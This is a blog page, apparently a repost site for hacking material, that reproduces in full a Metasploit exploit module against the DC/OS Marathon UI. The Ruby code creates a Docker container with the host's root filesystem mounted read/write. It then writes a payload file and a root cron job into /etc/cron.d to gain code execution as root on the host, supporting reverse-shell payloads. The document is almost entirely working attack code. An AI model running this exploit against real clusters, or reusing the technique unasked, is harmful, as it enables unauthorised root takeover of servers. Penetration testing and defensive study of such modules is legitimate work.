Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863537612

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DC/OS Marathon UI Docker Exploit',
      'Description'    => %q{
        Utilizing the DCOS Cluster's Marathon UI, an attacker can create
        a docker container with the '/' path mounted with read/write
        permissions on the host server that is running the docker container.
        As the docker container executes command as uid 0 it is honored
        by the host operating system allowing the attacker to edit/create
        files owed by root. This exploit abuses this to creates a cron job
        in the '/etc/cron.d/' path of the host server.

        *Notes: The docker image must be a valid docker image from
        hub.docker.com. Further more the docker container will only
        deploy if there are resources available in the DC/OS cluster.
      },
      'Author'         => 'Erik Daguerre',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
      ],
      'Targets'            => [
        [ 'Python', {
            'Platform'   => 'python',
            'Arch'       => ARCH_PYTHON,
            'Payload'    => {
              'Compat'   => {
                'ConnectionType' => 'reverse noconn none tunnel'
              }
            }
          }
        ]
      ],
      'DefaultOptions' => { 'WfsDelay' => 75 },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 03, 2017'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
        OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
        OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
      ])
  end

  def get_apps
    res = send_request_raw({
      'method'  => 'GET',
      'uri'     => target_uri.path
    })
    return unless res and res.code == 200

    # verify it is marathon ui, and is returning content-type json
    return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'
    apps = JSON.parse(res.body)

    apps
  end

  def del_container(container_id)
    res = send_request_raw({
      'method'  => 'DELETE',
      'uri'     => normalize_uri(target_uri.path, container_id)
    })
    return unless res and res.code == 200

    res.code
  end

  def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

    rand_text_alpha_lower(8)
  end

  def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    payload_data = nil
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path

    cron_command = "python #{payload_path}"
    payload_data = payload.raw

    command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"
    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"
    command << "echo \"\" >> #{echo_cron_path}\n"
    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"
    command << "sleep 120"

    command
  end

  def make_container(mnt_path, cron_path, payload_path, container_id)
    vprint_status('Setting container json request variables')
    container_data = {
      'cmd'                 => make_cmd(mnt_path, cron_path, payload_path),
      'cpus'                => 1,
      'mem'                 => 128,
      'disk'                => 0,
      'instances'           => 1,
      'id'                  => container_id,
      'container'           => {
        'docker'            => {
          'image'           => datastore['DOCKERIMAGE'],
          'network'         => 'HOST',
        },
        'type'              => 'DOCKER',
        'volumes'           => [
          {
            'hostPath'      => '/',
            'containerPath' => mnt_path,
            'mode'          => 'RW'
          }
        ],
      },
      'env'                 => {},
      'labels'              => {}
    }

    container_data
  end

  def check
    return Exploit::CheckCode::Safe if get_apps.nil?

    Exploit::CheckCode::Appears
  end

  def exploit
    if get_apps.nil?
      fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
    end
    # create required information to create json container information.
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id()

    res = send_request_raw({
      'method'  => 'POST',
      'uri'     => target_uri.path,
      'data'    => make_container(mnt_path, cron_path, payload_path, container_id).to_json
    })
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201

    print_status('The docker container is created, waiting for it to deploy')
    register_files_for_cleanup(cron_path, payload_path)
    sleep_time = 5
    wait_time = datastore['WAIT_TIMEOUT']
    deleted_container = false
    print_status("Waiting up to #{wait_time} seconds for docker container to start")

    while wait_time > 0
      sleep(sleep_time)
      wait_time -= sleep_time
      apps_status = get_apps
      fail_with(Failure::Unknown, 'No apps returned') unless apps_status

      apps_status['apps'].each do |app|
        next if app['id'] != "/#{container_id}"

        if app['tasksRunning'] == 1
          print_status('The docker container is running, removing it')
          del_container(container_id)
          deleted_container = true
          wait_time = 0
        else
          vprint_status('The docker container is not yet running')
        end
        break
      end
    end

    # If the docker container does not deploy remove it and fail out.
    unless deleted_container
      del_container(container_id)
      fail_with(Failure::Unknown, "The docker container failed to start")
    end
    print_status('Waiting for the cron job to run, can take up to 60 seconds')
  end
end